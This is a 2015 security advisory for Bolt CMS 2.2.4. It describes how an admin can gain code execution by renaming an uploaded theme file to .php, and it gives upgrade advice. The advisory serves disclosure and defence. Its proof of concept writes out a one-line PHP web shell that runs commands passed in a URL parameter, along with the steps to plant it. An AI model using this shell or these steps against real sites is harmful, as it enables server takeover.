Bolt 2.2.4: Code Execution

Date: 2015-08-17 09:30:21

1. Introduction

2. Vulnerability Description

The Bolt CMS does not allow the upload or editing of PHP files in its admin area, which should prevent code execution once an attacker gained admin credentials.

However, when uploading, the actual file type is not checked. The theme editor allows for the renaming of uploaded files, and it does not check the file extension or file type when doing so. Because of this, an attacker can gain code execution.

Please note that admin credentials are required.

3. Proof of Concept

1. Visit theme editor: http://localhost/bolt-git-2015-06-25-05c29bf/bolt/files/theme/base-2014
2. Upload or edit any existing file with allowed extension to contain <?php passthru($_GET['e']);
3. Rename the file, giving it an extension that will make it executable, eg .php

The file will not be shown in the theme editor anymore, because PHP files are not shown, but it will be accessible via eg http://localhost/bolt-git-2015-06-25-05c29bf/theme/base-2014/README.php

4. Solution

To mitigate this issue please upgrade at least to version 2.2.5:

http://bolt.cm/distribution/archive/bolt-2.2.5.zip

Please note that a newer version might already be available.

5. Report Timeline